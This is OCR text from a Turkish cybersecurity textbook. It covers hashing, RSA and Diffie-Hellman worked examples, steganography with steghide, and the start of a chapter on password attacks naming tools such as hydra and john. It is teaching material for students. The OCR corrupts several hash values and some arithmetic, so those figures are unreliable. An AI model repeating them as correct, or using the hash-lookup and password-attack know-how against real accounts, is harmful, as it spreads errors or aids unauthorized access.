kelimesinin SHA-256 hash kodu “4c6bcdd55f3153e1939669ablec039e4059174dc
25abdfcbh2f58868849b4d61b” olarak hesaplanmaktadir.

3. UYGULAMA

SHA-256 Hash islemi

Asagidaki islem adimlarina gére SHA-256 hash degerini hesaplayiniz.

1. Adim: Web browser lizerinde SHA-256 Encrypt olarak arama yapilirsa birgok on-line araca

ulasilabilir. internet (izerinden ulastiginiz bir web sitesi ile md5’teki gibi “parola” sdzctigiiniin
SHA-256 hash kodunu elde ediniz.

SHA256
SHAZ256 online hash function

parola

Input type

Hash @ Auto Update
a80b568a237f50391d271T97beaf99564233d2e1c8a2e5cac21ceda7@1570312

Gorsel 5.11: SHA-256 hashing islemi

Gorsel 5.11'de gorildigi gibi md5’e gore ¢cok daha uzun bir hash kodu elde edilmistir ancak

buradaki en 6nemli problem, bilinen bazi kelime ve kelime gruplarinin SHA-256 hash kodu

cikartilmis ve veri tabanlarinda saklanmistir. Elde edilen hash kodlari, kaydedilen bu hash kodlari

ile karsilastirilarak gizli kelime tahmin edilebilir.

2. Adim: password kelimesi ¢ok tahmin edilebilir bir kelimedir. Bu kelimenin SHA-256 hash

kodunu Gorsel 5.12°de gosterildigi gibi elde ediniz.

SHA256

SHA256 online hash function

password

Input type

Hash B Auto Update

5e884898da28047151dBe56T8dc6292773683d0d6aabbdd62al11ef721d1542d8

Gorsel 5.12: SHA-256 ile password kelimesinin kodlanmasi

Sifreleme Teknikleri



3. Adim: Gorsel 5.12'de elde edilen SHA-256 hash kodunu internet (izerinde arama yaparak
on-line araglarla Decrypt ediniz (Gorsel 5.13).

Gorsel 5.13: SHA-256 ile Uretilmis ve bilinen hashlerden kelime elde edilmesi

a@

Hash fonksiyonlari ile Encrypt edilmesi istenen kelimeler benzersiz bir sekilde secilirse

(6rnegin “3pE4&.gh-lupDN” gibi) elde edilen SHA-256 kodunun geri doéndirilmesi normal
sartlarda mimkdin degildir.

5.2. ASIMETRIK SiIFRELEME

Acik anahtarli (asimetrik) sifreleme algoritmasi, gizli anahtar sifreleme algoritmasindan
farkhdir. Agik anahtarl sifreleme algoritmalari acik (public) ve 6zel (private) olmak tizere iki farkli
anahtar yontemi ile calisir. Dolayisiyla sifreleme ve ¢dzme icin kullanilan anahtar algoritmalari
birbirinden farkh ve yalnizca o kullaniciya 6zeldir (Gorsel 5.14). Bu sistemin diger bir 6zelligi ise
sifre anahtarinin herkese agik olmasidir. Bir yabanci, veriyi sifrelemek icin sifreleme anahtarini
kullanabilir fakat sadece ¢6zim anahtar algoritmasina sahip kisi tarafindan sifre ¢oziilebilir.
Birkag asimetrik sifreleme algoritmasi olsa da (Diffie-Hellman, DSA, Eliptik vb.) en yaygin olarak
kullanilani RSA algoritmasidir. Asimetrik algoritmalar, simetrik algoritmalara goére ¢cok daha yavas
calisir.

A Sifreleme islemi Sifre Cozme islemi B

B Public Key B Private Key
Gorsel 5.14: Asimetrik sifreleme blok diyagrami
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5.2.1. RSA (Rivest-Shamir-Adleman) Sifreleme Teknigi

Ug bilim adaminin bas harflerinden olusan RSA, dijital imzalama icin de kullanilmaktadir.
Bu algoritmanin glvenilirligi ¢cok blylk asal sayilarin islem yapma zorluguna dayanir. Bu
blyik sayilar nedeniyle oldukca glivenilirdir ama islemler genellikle yavastir. Gliniimizde RSA,
bankacilik sistemlerinde ve ticari sistemlerde oncelikli tercih edilen sifreleme teknigidir. RSA
algoritmasi kavramsal olarak giivenlidir ancak bir saldirgan tarafindan istismar edilebilecek bazi
zafiyetlere sahiptir. Buna ragmen web sitelerindeki giivenli web sayfalari olarak ifade edilen
HTTPS baglantilarinda, SSH gibi alanlarda yaygin olarak kullaniimaktadir.

- ARASTIRMA

RSA sifreleme tekniginin olasi zafiyetlerini arastirip konu hakkinda bir rapor hazirlayiniz.

Ogretmeninizin liderliginde sinif arkadaslariniz ile hazirladiginiz bu rapor tizerinde tartisiniz.

5.2.1.1. RSA Sifreleme Yonteminin Calismasi

RSA sifreleme yonteminde anahtar olusturma, sifreleme ve sifre ¢c6ziimleme olmak Uzere (g
kisim bulunmaktadir.

1. Anahtar Olusturma: RSA sifreleme yonteminde ortak ve 0Ozel anahtar olmak Uzere
iki anahtara ihtiya¢ duyulur. Herkes tarafindan bilinen ve mesaji sifrelemek igin kullanilan
anahtar, ortak anahtardir. Ozel anahtar ise ortak anahtar ile sifrelenmis mesajlari ¢ézmek igin
kullaniimaktadir. Anahtar olusturmak igin izlenecek islem basamaklari asagida verilmistir.

e Rastgele iki adet asal sayi segilir. Bu asal sayilarin biyik sayilardan segilmesi, sifrenin glicli
olmasi icin 6nemlidir. Cok buylk asal sayilar ise sifreleme islem siresini uzatir. Bu nedenle
yeterince biylk asal sayilar arasindan se¢im yapilmalidir. Bu asal sayilara p ve q denilebilir.

e Gizli ve acik anahtar tarafindan kullanilmasi icin bu iki asal sayi ¢arpilir. Carpim n harfi ile
gosterilebilir (n=p*q).

e Bir tam sayinin o sayidan daha kiiclik ve o sayi ile aralarinda asal olan sayisini bulmak igin
Totient Fonksiyonu hesaplanir. ®(n) = (p-1)(g-1) olarak ifade edilir ve ®(n) degeri bulunur.

¢ 1 < e < @(n) kosulunu saglayacak bir e tam sayisi segilir. Bu tam sayi, ortak anahtardir. Bu e
sayisl ile @(n) aralarinda asal olmalidir.

e Gizli Us olarak adlandirilan bir d sayisi hesaplanir (1<d< @®(n)). Bulunan bu d degeri, 6zel
anahtar degeridir. Bu islem igin Uzatilmis Oklid Algoritmasi (Extended Euclid Algorithm)
kullanilabilir. Bu algoritmaya gore d.e = 1 mod ® (n) olacak sekilde d sayisi hesaplanir.
Hesaplama yapmak icin (1+ kmod @ (n) )/e formdilt ile tam sayi bulununcaya kadar k degeri
artirilir.
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2. Sifreleme: Tim degerler bulunduktan sonra sifreleme islemine gecilir. Bu durumda
mesaj*e mod (n) hesaplamasi yapilir. Mesaj, karakterlerden olusursa bu karakterler ASCIl koduna
dénistirilmelidir. Ornegin A harfinin ASCIl kodu 41'dir. Bu durumda mesaj= “41” olacaktr.

3. Sifre C6ziimleme: Gondericiden alinan gizli anahtar ile mesaj ¢éziimleme islemi yapilabilir.
Bu durumda sifrelenmis_text*d mod (n) formala kullantlir.

. 4. UYGULAMA

RSA Sifreleme islemi

Asagidakiislem adimlarina gore RSA sifreleme yontemini kullanarak “102” mesajini sifreleyiniz
ve daha sonra sifre ¢6zimlemesini yapiniz.

1. Adim: iki asal sayi seginiz. p=11, q=13 olarak belirleyiniz.
2. Adim: n degerini hesaplayiniz. n=11*13, n=143 olarak bulunuz.

3. Adim: ®(n) degerini hesaplayiniz. ®(n) = (p-1)(q-1) formulind kullanip, ®(n)=(11-1)(13-1),
®(n)=120 olarak bulunuz.

4. Adim: 1 < e < ®(n) kosulunu saglayacak bir e tam sayisi seginiz. e=7 olarak segilebilir ¢link{i
120 ile 7 aralarinda asal sayilardir.

5. Adim: d sayisi (1<d< ®(n)) araliginda hesaplanir. Bu islem icin Uzatilmis Oklid Algoritmasi
(Extended Euclid Algorithm) kullanilabilir. Bu algoritmaya gore d.e = 1 mod ® (n) olacak sekilde d
sayisini hesaplayiniz. Hesaplama yapmak icin (1+ kmod @ (n))/e formiili ile tam sayi bulununcaya
kadar k degerini artiriniz.

1-k=0i¢in 1+ 0 * 120/ 7 =>1/7 (Tam sayi degil, alinamaz.)

2-k=1i¢in1+1*120/7 =>121/7 (Tam sayi degil, alinamaz.)

3-k=2icin 1+ 2 * 120/ 7 => 241/7 (Tam sayi degil, alinamaz.)

4-k=3icin1+3 *120/7 =>361/7 (Tam sayi degil, alinamaz.)

5-k=4icin 1+4 * 120/ 7 => 481/7 (Tam sayi degil, alinamaz.)

6-k=5icin 1+ 5 * 120/ 7 => 601/7 (Tam sayi degil, alinamaz.)

7-k=6icin 1+ 6 * 120/ 7 => 721/7 => d= 103 olarak alinabilir.

Buna gore n degeri 143, 6zel anahtar d=103, ortak anahtar ise e=7'dir.

6. Adim: mesaj*e mod (n) hesaplamasini yapip, 102’ mod (143) =119 olarak bulunuz.

7. Adim: Sifrelenmis_textrd mod (n) formlind kullanip, 1194103 mod (143) =102 olarak
sifreyi cozlimleyiniz.
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SIRA SiZDE

RSA sifreleme yontemini kullanarak Tablo 5.2'yi doldurunuz ve sifreli metni hesaplayiniz. Daha

sonra sifreli metni agik metin héline getiriniz.

Tablo 5.2: RSA Sifreleme Yontemi

Sifrelenecek Metin | p degeri | q degeri | n degeri | e degeri | d degeri | Sifre | Coziimleme

Ay

Yildiz

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gére degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER
1.RA sifreleme yontemini kulanarak p deerini hesapladi.
2.RsAsireleme yontemini kullanarak q deerini hesapladt.
3.RA sifreleme yontemini kulanarak n deferini hesapladi.
4.RA sireleme yontemini kulanarak e deerini hesapladt.
I
T
I
|

5.2.2. Diffie-Hellman Anahtar Degisimi

Agik anahtarlama sistemlerinden biri olan Diffie-Hellman ydnteminde haberlesecek iki

tarafin ortak anahtarlari kullanarak gizli bir anahtar iiretmesi saglanir. Uretilen gizli anahtar iki
taraf arasindaki haberlesmeyi sifrelemek icin kullanilir.

Gizli anahtar retme islemi aslinda bir matematiksel islem sirecidir. Bu siregte kullanilan
matematiksel islem g?*= g® mantigina dayanmaktadir.

. 5. UYGULAMA

Diffie-Hellman Anahtar Degisimi

Ali ve Blilent kendi aralarindaki iletisimin baskalarinca dinlenmemesi veya ele geciriimemesi
icin Diffie-Hellman anahtar degisimi yontemini kullanmak isterler. Verilen 6rnek olaya gére islem
adimlarini gergeklestiriniz.
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1. Adim: Ali ve Biilent i¢in ortak anahtarlari belirleyiniz. Ortak anahtarlari Ali icin p=7 ve
Bilent igin g=5 olarak seciniz. Ortak anahtarlar gizli olmadig i¢cin haberlesmeyi dinleyen herkes
bu degerlere ulasabilir.

2. Adim: Ali i¢in gizli bir sayi (6zel anahtar) seginiz (a=3) ve Ali igin sectiginiz 6zel anahtari
matematiksel bir islemden gegirerek sonucu Bllent’e gonderiniz.

¢ g2 mod p => 53 mod 7 isleminden elde edilen sonucu A=6 olarak hesaplayiniz.

3. Adim: Biilent icin gizli bir say! (6zel anahtar) seciniz (b=10) ve Biilent icin sectiginiz ozel
anahtari matematiksel bir islemden gecirerek sonucu Ali'ye génderiniz.

e g" mod p => 5 mod 7 isleminden elde edilen sonucu B=2 olarak hesaplayiniz.

Elde edilen sonuglari (6 ve 2 degerleri) herkes gormektedir ancak bunlar génderilmek istenen

degerler degil, onlarin sifrelenmis halleridir.

4. Adim: Ali icin (B mod p) denklemini hesaplayiniz.
°(22mod7)=1

5. Adim: Bulent icin (A®* mod p) denklemini hesaplayiniz.
e (6'mod7)=1

ikili arasinda iletilen veri, 6 ve 2 degerleridir. iki taraf arasinda ayni deger olan 1 degeri
Uretilir ancak bu deger, iletisim kanalindan iletilmedigi icin baska kimselerce elde edilemez. Ali,1
anahtarini kullanarak mesaji sifreler. Bllent ise kendisine gelen sifreli mesaji bu 1 anahtarini
kullanarak agar. Gorsel 5.15’teki akis semasi lizerinde Diffie-Hellman anahtar degisimi prensibi
verilmistir.
Ali Biilent
Ali=> p=7

Bllent=>g=5
(Herkesge bilinir.)

a=3 b=10
Sadece Ali bilir. Sadece Biilent bilir.
B=2 A=6
1 Ortak Gizli Anahtar 1

Gorsel 5.15: Diffie-Hellman anahtar degisimi prensibi
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- SIRA SiZDE

Siniftaki bir arkadasinizla Diffie-Hellman anahtar degisimi yontemini kullanarak birer ortak

anahtar (p ve g degerleri) seciniz. Daha sonra kendinize ait 6zel anahtar secerek verilerinizi
sifreleyiniz. Sonuglari 6gretmeniniz esliginde sinif arkadaslarinizla paylasiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESi

OLCUTLER EVET | HAYIR

5.3. STEGANOGRAFi SIFRELEME YONTEMI

Steganografi, “gizli veya gizlenmis yaz1” anlamina gelir. Siber glivenlikte ise steganografi

“veri gizleme” amaciyla kullanilir. Steganografi, gonderilen mesajin igine sifrelenmis mesajin
saklanmasiyla Gglinct kisilerin asil iletilmek istenen mesajdan haberdar olmamasini saglamak
icin gelistirilmis bir tekniktir. Bir steganografi 6rnegi asagida verilmistir.

“Sabah aldigim kitabi ise giderken afacan ari sebebiyle merdivenlerde ablama kaptirdim.”

Yukaridaki metne bakildiginda birinin aldigi kitaplari bir ari ylizinden ablasina kaptirdigi ile ilgili
oldugu goruliir ancak metindeki her kelimenin ikinci harfleri yan yana yazildiginda “AliSifreEBA”
ortaya cikar. Burada gizli bir sifre Ali kisisine aktarilr.

Baska bir 6rnekte ise gonderilen metindeki sirayla kelimelerin 1, 2, 3. ve sonra yeniden 1, 2,
3. harfleri alinarak sifrelenmis bir metin elde edilebilir.

“Aslinda olmasini istedigim konuyu sana aktarmayacagim.”

Yukaridaki 6rnekten sifrelenmis metin “AltKat” olarak bulunur.
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Steganografi yontemi ile ses, sayisal resim, video gorintleri Gzerine veri saklanabilir. Bu
veriler metin dosyasi olabilecegi gibi secilen bir resim icine baska bir gérintiyi gizlemek de

olabilir.

- SIRA SiZDE

Sira arkadasiniz ile kendi belirleyeceginiz bir mantiga gére metin gizlemesi yapilmis bir
steganografi 6rnegi hazirlayiniz. Hazirladiginiz 6rnegi 6gretmeniniz esliginde tahtaya yazarak
siniftaki diger arkadaslarinizin ¢ézmesini isteyiniz ve sifrelenmis metinler elde etmeyi deneyiniz.

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR

5.3.1. Resim i¢ine Metin Gizleme Teknigi

Resimler ve diger tim dijital materyaller 1 ve 0 mantigi ile olusturulur. Bu nedenle resimleri
olusturan kod yapisinda birtakim oynamalar ile resimlerin gériinmeyen arka planlarina gizli
yazilar yazilabilir. Linux veya Windows tabanl isletim sistemlerinde bunlar icin hazir araglar
kullanilir. Linux tabanli isletim sisteminde steghide araci kullanilarak resim igcine metin gizleme
islemi yapilir. Steghide, ses ve resim dosyalarinin icine metin gizleyebilen bir steganografi aracidir.

- 6. UYGULAMA

Steganografi islemi

Diger sayfadaki islem adimlarina gore steghide aracini kullanarak resim icine metin veya yazi
gizleyiniz.
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1. Adim: Linux isletim sistemine steghide araci kurulumu ig¢in terminal lzerinde Gorsel
5.16'daki kodu yazip ¢alistiriniz.

Gorsel 5.16: Linux isletim sistemleri igin steghide kurulum komut satiri

2. Adim: Kurulumu yapilan klasére gidiniz (Gorsel 5.17).

Gorsel 5.17: steghide klasoéri

3. Adim: icine metin gizlenecek resmi, kurulumu yapilan “steghide” klasériiniin icine kopyala-
yiniz (Gorsel 5.18).

Gorsel 5.18: Ana gorselin steghide klasérii icine yerlestirilmesi
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4. Adim: Gizlenecek metni bir txt uzantili dosya icine yaziniz. Bu uygulamada “Kiicuklere sevgi,
blyulklere saygl gosteriniz.” yazisi resim igine gizlenecektir (Gorsel 5.19).

Gorsel 5.19: Sifre dosyasinin (sifre.txt) olusturulmasi ve gizlenecek metnin bu dosyaya yazilmasi

5. Adim: Metin gizleme igin Gorsel 5.20’deki kodu yazip galistiriniz.

Gorsel 5.20: steghide araci ile metin gizleme komut satiri

steghide -embed -cf resiml.jpg ef sifre.txt komutu ile sifre.txt dosyasinin icindeki yazilar
resiml.jpg icine gizlenecektir. Koddaki parametreler asagida verilmistir.

-embed: Gizleme isleminin yapilmasini saglar.
-ef: Gizlenecek dosyanin yolu igin kullanilir.

-cf: Tastyici resim dosyasi yolu icin kullanilir.

6. Adim: islemin tamamlanmasi icin steghide aracina bir sifre giriniz. Sifreyi girdikten sonra
sifre.txt icindeki yazilar resim1.jpg resim dosyasina gizlenecektir.

7. Adim: resim1.jpg dosyasl icinden gizlenen metni tekrar elde etmek isterseniz asagidaki kod
blokunu yazip ¢alistiriniz.

S steghide extract -sf resim1.jpg

. SIRA SiZDE

internet lzerinde buldugunuz herhangi bir Atatiirk portresi icine istiklal Marsi’nin ilk iki

kitasini gizleyen uygulamayi yapiniz.

188 I Sifreleme Teknikleri



DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR

5.3.2. Resim i¢ine Resim Gizleme Teknigi

Bir resmin baska bir resmin icine nasil gizlenebilecegini anlamak icin dijital resmin ne
oldugunu bilmek gerekir. Bir dijital resim, piksel adi verilen dijital noktalardan olusur. Pikseller ise
belirli bir rengin parlaklik degerlerini tutar. Dolayisiyla bir gériintd, sabit sayida satir ve stitundaki
piksellerden olusan bir matris olarak distintlebilir. Pikseller tipik olarak kirmizi, yesil ve mavi
renklerin (RGB) belirli yogunluklarda gosterilmesi ile renkli resimleri meydana getirir.

RGB renk modeli elektronik sistemlerde goriintllerin algilanmasi, temsil edilmesi ve
gosterilmesi i¢in gelistirilmistir. Her bir piksel 8 bitlik degerler alan Ui¢ bolimden olusur. Her
bir bélim 8 bitle gosterildigi icin 0-255 arasinda farkli deger alabilir. Gorsel 5.21'de 10x10 pixel
matrisinde her bir pikselin aldigi renkler gosterilmistir. Her renk, RGB kodu ile ifade edilir.

RGB (40, 119, 190)
—

R: 0010 1000
G: 01110111

B: 1011 1110

Gorsel 5.21: Pixel ve RGB yapisi

8 bitlik yazimda en soldaki en anlamh bittir. Bu bit degistirilirse renkte 6nemli bir degisiklik
meydana gelir. Ornegin degeri 0010 1000 olan bir pikselin degeri 40’tir. En soldaki O degeri 1
olarak degistirilirse yeni deger 1010 1000 olacaktir. Bu da 168’e esittir. Bu pikselin alacagi renk
miktari 40’tan 168’e ¢ikacaktir ve bu durum resmi oldukca etkiler.
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En sagdaki bit ise daha az anlaml bittir. En sondaki bit degistirilirse pikselin dnceki degerinde
fazla bir degisim olmayacaktir. Sadece en sondaki bitin degerinde 1 sayilik degisim olacaktir. Bu
nedenle en sagdaki bitlerin degisimi ile resim goriintiisii (izerinde ¢ok az bir etki olacaktir. insan
g0zl bu etkiyi ayiramaz. Bu yontem ise resim icine resim gizlemek i¢in kullanilan steganorafinin
temelini olusturur.

Resim igine resim gizlemek igin birgok farkli yontem bulunur. Linux ve Windows isletim
sistemleri icin gelistirilmis 6zel araglar ile bu islemler saglanabilecegi gibi web lzerinde on-line
araglarla da bu islemler kolaylikla yapilabilir.

Steganografi Yontemiyle Resim icine Resim Gizleme

7. UYGULAMA

Asagidaki islem adimlarina gore resim igine resim gizleme uygulamasini yapiniz.

1. Adim: Web goriintileyici Gzerinden steganografi on-line web araglarini aratiniz ve ilgili web
sitesini aciniz (Gorsel 5.22).

Gorsel 5.22: Resim igine resim gizlemek i¢in kullanilan on-line web araci

2. Adim: “Hide image” butonuna basiniz. Bu 6zellik, resim gizlemek igin kullanilir.

3. Adim: “Cover image” bashgi altindaki “Dosya Se¢” butonuna basiniz ve ana resmi seginiz
(Gorsel 5.23). Secilen resmin icine baska bir resim gizlenecektir.

Gorsel 5.23: Ana resim dosyasi segme islemi
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4. Adim: “Secret image” butonu altindaki “Dosya Se¢” butonuna basiniz. Gizlemek istediginiz
resmi seciniz (Gorsel 5.24).

Gorsel 5.24: Gizlenecek resim dosyasinin secim islemi

5. Adim: Sag taraftaki Hidden bits kismi 1-7 arasinda bir deger alir. En az anlamh bitler
lizerinden islem yapmak icin 1, daha anlamli bitler lzerinden islem yapmak icin 7 secilebilir
ancak 1-7 arasindaki secim 5 ve yukarisinda ise resim gizlemesi miimkiin olmayabilir. Bu nedenle
Hidden bits:1 olarak seciniz (Gorsel 5.25).

Gorsel 5.25: Hidden bits ayari

6. Adim: Gizleme islemi tamamlanmistir. Hazirlanan resim dosyasini “Download Full-size
Image” butonuna basarak indiriniz.

7. Adim: indirilen dosya icine gizlenen resmi bulabilmek igin ayni on-line web sitesi
kullanilabilir. Gérsel 5.26'daki “Unhide image” butonuna tiklayiniz. istenirse arama motorunda
diger web araclari aratilarak farkli on-line araglar da kullanilabilir.

Gorsel 5.26: Resim igine gizlenmis resmin gosterimi
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8. Adim: indirilen resim icine resim gizlenmis dosyayl “Dosya Se¢” butonu ile seginiz. Bu
sayede gizlenmis resim ekranda goriintiilenir. istenilirse bu resim de indirilebilir (Gérsel 5.27).

Gorsel 5.27: Resim igine gizlenmis resmin Unhide islemi ile gériiniir hale getirilmesi

Resim lzerinde bir oynama yapildigl, icine bilgi gizlendigi ile ilgili sipheli durumlarda resim
Uzerinde oynama olup olmadigi yine bazi on-line araglarla tespit edilebilir. Bunun igin en etkili
web araglari arama motorunda aranarak bulunabilir. Aramada image histogram anahtar kelimesi
kullanilarak bulunan web araci ile oynama yapilmis (icine metin veya resim gizlenmis) resimler
analiz edilebilir. Gorsel 5.28'de resim secilmis ve GENERATE butonuna basilarak resim analizi

sonuclari gosterilmistir.

Gorsel 5.28: Web araglari ile resim lizerinde analiz (histogram) yapilmasi islemi
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. SIRA SiZDE

Linux Gzerinde kullanilan resim icine resim gizleme araclarini arastiriniz. Bu araglari isletim
sistemine ylikleyiniz ve galistiriniz. Resim icine resim gizleme uygulamalari yapiniz. Yaptiginiz
uygulamalardan sonra Tablo 5.3’U doldurunuz. Resim lzerinde islem yapilip yapilmadigini tespit

ediniz.

Tablo 5.3: Resim i¢ine Metin ve Resim Gizleme

islem Sonrasi Resim Histogram
Resim Boyutu ve Anormalligi
Cozunarlagi

Orijinal Resim Boyutu

No Tiir e e pewes
ve Coziiniirligii

1 Resim icine metin

2 Resim icine metin

3 Resim igine resim

4 Resim igine resim

DEGERLENDIRME

Calismalariniz asagida yer alan kontrol listesine gore degerlendirilecektir.

KONTROL LiSTESI

OLCUTLER EVET | HAYIR
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OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde parantez igine yargilar dogru ise (D), yanlis ise (Y) yaziniz.

1.( ) md5 sifreleme algoritmasi kullanilarak elde edilen hash degerleri geri donistiralir.
2.( ) Resim icine metin veya resim gizleme teknigine steganografi denir.
3.( ) Diffie-Hellman anahtar degisim yonteminde md5 sifreleme kullaniimalidir.

4. ( ) DES ve AES simetrik sifreleme yontemlerindendir.

B) Asagidaki sorulari dikkatlice okuyarak dogru secenegi isaretleyiniz.

5. Bir pikselin aldigi renk kodu 0101 1111'dir.
Buna goére anlaml bit asagidakilerden hangisidir?
A) En sagdaki bit (1)

B) En soldaki bit (0)

C) ikinci dért bit (1111)

D) ilk dért bit (0101)

E) ilk iki bit (01)

6. Asagidakilerden hangisi sifreleme yontemleri igcinde yer almaz?
A) Hash fonksiyonlari

B) Kimlik dogrulama

C) Ortak anahtar

D) Ozel anahtar

E) Simetrik sifreleme

7. Asagidakilerden hangisi sifreleme algoritmalarinin performansi ile ilgili degildir?
A) internet hizi

B) Kullanilan islemci ve bellek kaynaklari

C) Sifre kullanilan anahtar sayisi

D) Sifrenin kirilabilme siresi

E) Sifrenin olusturulma siresi
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8. DES sifreleme algoritmasinda sifrelenecek mesaj kag bitlik pargalara boliiniir?
A)8

B) 16

C) 32

D) 56

E) 64

9. Asagidakilerden hangisi RSA sifreleme yonteminde kullanilmaz?
A) Ortak anahtar

B) Ozel anahtar

C) md5

D) Sifrelenecek metin

E) Rastgele secilmis asal sayi

10. Asagidakilerden hangisi simetrik sifrelemenin dezavantajlarindan biri degildir?
A) Anahtar saklama zorlugu

B) Sifre cozme islem siresi

C) Kimlik dogrulama

D) Biitlinlik saglama

E) Glvenli anahtar dagitimi
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KONULAR

6.1. PAROLA, SIFRE VE HASH KAVRAMLARI
6.2. PAROLA SALDIRISI VE TURLERI

NELER OGRENECEKSINiz?

e Cevrimici (on-line) parola ataklari deneme araglari

e Cevrimici (on-line) parola ataklari deneme araglarina parametre ekleme
e Cevrimdisi (off-line) parola kirma teknikleri

¢ Hash kodlariyla parola kirma yéntemi

e Kaba kuvvet saldirisi (Brute Force) yontemi

e SOzliik saldirisi teknigiyle atak

e GOkkusagi tablosu (Rainbow Table) teknigiyle parola kirma

ANAHTAR KELIMELER

Kali, Linux, john, crunch, hydra, Brute Force, rainbow table, hash kodu,
Password, user, medusa, ncrack

197



HAZIRLIK CALISMALARI

1. Parolalariniz baskalarinin eline gectiginde neler olabilir?

2. Parolalarinizi karmasik karakterlerden segmeniz parola glivenliginizi nasil etkiler?

3. Sizce parolalarin glivende tutulabilmesi icin hangi 6nlemler alinmalidir?

6.1. PAROLA, SiFRE VE HASH KAVRAMLARI

Dijital diinyada parola ile bircok yerde karsilasilir. Kimi zaman yeni bir uygulamaya giris
yaparken kimi zaman bir web sitesine Gye olurken kimi zaman ise cesitli cihazlarin araytzlerine
giris yaparken kimlik ve yetkilendirmeyi denetlemek adina parola kullanilir. Parolalar sadece o
parolayi belirleyen kisi tarafindan bilinir ve belli bir alana giris yapmak icin kullanilir. Parolalar,
actk metin karakter dizelerinden olusur.

Sifre, bir bilginin gesitli algoritmalar kullanilarak baskalari tarafindan ¢oziilemeyecek ve
okunamayacak sekle donistlurilmis halidir. Parolalar anlamli dizelerden kullanicilar tarafindan
olusturulan bilgilerdir, sifreler ise bilgilerin kodlanarak anlasiimasi zor hale getirilmesidir.

Sifreleme, gizli bir anahtar kullanarak bilgilere diger kisilerin erisiminin engellenmesi
yontemidir. Veriler sadece anahtari bilen yetkili kisiler tarafindan okunabilir. RSA ve AES en sik
kullanilan sifreleme algoritmalaridir.

Girilen veriyi sabit uzunlukta g¢iktiya donlstiiren matematiksel isleme hash denir. Hash, bir
bilginin veri tabaninda herkesin anlayabilecegi bir sekilde acik¢a okunmasinin éniine gecmek
amaciyla kullanilir. Bir uygulamaya tye olundugunda sifreler hash ile gizlenerek veri tabaninda
saklanir. Boylelikle veri tabanina ulasan biri agik bir sekilde parolalari ve diger bilgileri géremez.
md5 algoritmasi, hash tipinin en bilinen érnegidir.

. ORNEK

Parola: siberguvenlik

md5 Formatinda Sifreye Doniistiiriilmiis Hali: d66db4bef25092ec53e6197ddf7ad85a

Kodlama (Encoding), verinin farkl bir formata donustlrilmesi islemine verilen isimdir.
Kodlamada amag, verinin saklanmasi veya gizlenmesi degildir. Kodlama ile veriler farkh
sistemlerde rahatga islem gorebilmektedir.
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6.2. PAROLA SALDIRISI VE TURLERI

Parola saldirisi dijital diinyada en sik rastlanan saldiri tiirlerinden biridir. Parola saldirilarinda
amag, kurumsal veya kisisel karsi tarafin kullandigi araglar, web siteleri, programlar, sosyal medya
hesaplari veya sistemin isleyisi ile ilgili kritik bir noktada bulunan donanim veya yazilimlarin
sifresini ele gecirmektir. Parolalarinin ele gegirilmesi ve kontroliin kaybedilmesi kisi veya
kurumlari maddi ve manevi bakimdan zor durumda birakabilir. Glinimizde parola saldirilari
kisiler tarafindan bilingli veya bilingsiz bir sekilde siklikla gerceklestirilir. Zayif parolalar, bilingsiz
kisiler tarafindan deneme yanilma yontemi kullanilarak dahi ¢oziilmeye calisilabilir. Kisiler
kullandiklari sosyal medya hesaplarinda bile belirledikleri parolalara dair ifadeler bulundurarak
deneme yanilma ydntemiyle hesaplarinin saldirganlarca ele gecirilmesini kolaylastirirlar. Ornegin
sosyal medya hesaplarinda 6zel glnlerden, tutulan takimdan veya beslenen evcil hayvanin
isminden bahsedilmesi, ayni zamanda bu bilgilerin parolalarda kullaniimasi biyiik bir glivenlik
acigi olusturur.

Kolayhkla tahmin edilecek parolalarin kullaniimasi ile saldirilarin 6nu acilir. Givenlik icin
uzun, iceriginde bliyik ve klglk harf barindiran, ayni zamanda 6zel karakter bulunan parolalar
belirlenmelidir fakat bdyle bir parola dahi kimi zaman saldirinin 6niine gegemez.

123456, qwerty, Password, abc123 gibi parolalar tilkemizde ve diinyada en ¢ok tercih edilen
parolalara 6rnektir.

Cesitli yontemlerle parolalarin kirilmasi denendiginde yukarida o6rneklenen parolalar
aninda kirilirken karmasiklastiriimis parolalarin kirilma sireleri ise bir hayli uzundur. Belirlenen
parolalarin ne kadar sirede kirildigini hesaplayan ¢evrimigi araglar internette ¢okga bulunur.

Bilgi toplama, siber saldirilarin temelinde ¢ok 6nemli bir yere sahiptir. Parola ataklarinda
da bilgi toplama asamasi bulunur. Saldirganin yapacagi bir atak oncesi karsi tarafla ilgili bilgi
toplamasi, parolanin ¢6zimu icin 6nem teskil eder. Saldiracagi kisi veya kurumun web sitesi,
sosyal medya hesaplari, kurumsal sektérii istihbarat asamasinda biiyiik 5nem arz eder. internette
cesitli mecralarda bulunan parola dosyalari, web sitelerinde bulunan kelimelerin parolaya
donusturilmesi, sosyal medya hesaplarindaki bilgiler kullanilarak ve cesitli araglarla parola
bilgileri olusturularak saldirilar gergeklestirilir.

Parola ataklarinda deneme yanilma yontemleri de cokca kullanilir. Ozellikle kaba kuvvet
saldirisi denilen deneme yanilma yontemi giiniimiziin en ¢ok kullanilan parola ataklarindandir.
Sistemi olusturan kullanicilarin aldigi 6nlemlerle bu tarz saldirilarin 6niine gegmek mimkindir.
Parola giris ve deneme sayisini sinirlandirmak, fazla denemeleri uyari sistemi ile bilgilendirmek,
kayit altina almak ve engellemek en sik kullanilan glvenlik nlemlerindendir.

Parola ataklarindaki bir diger yontem, cesitli aciklari kullanarak karsi tarafin sistemine
sizmaktir. Karsl tarafin sistemine sizildiginda elde edilen parola 6zetleri (hash bilgileri)
ile karsi tarafin bilgileri ele gecirilebilir. Bu tir saldirilar ¢ok tehlikelidir. Elde edilen
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parola bilgileriyle birden fazla sisteme, teknolojiye, cihaza, oturum bilgilerine erisilerek karsi
tarafa bliylk zararlar verilebilir. Parola ataklari (¢ grupta incelenir.

e Cevrimici (on-line) parola ataklari
e Cevrimdisi (off-line) parola ataklari

¢ Teknik olmayan parola ataklari

6.2.1. Cevrimigi Parola Saldirilan

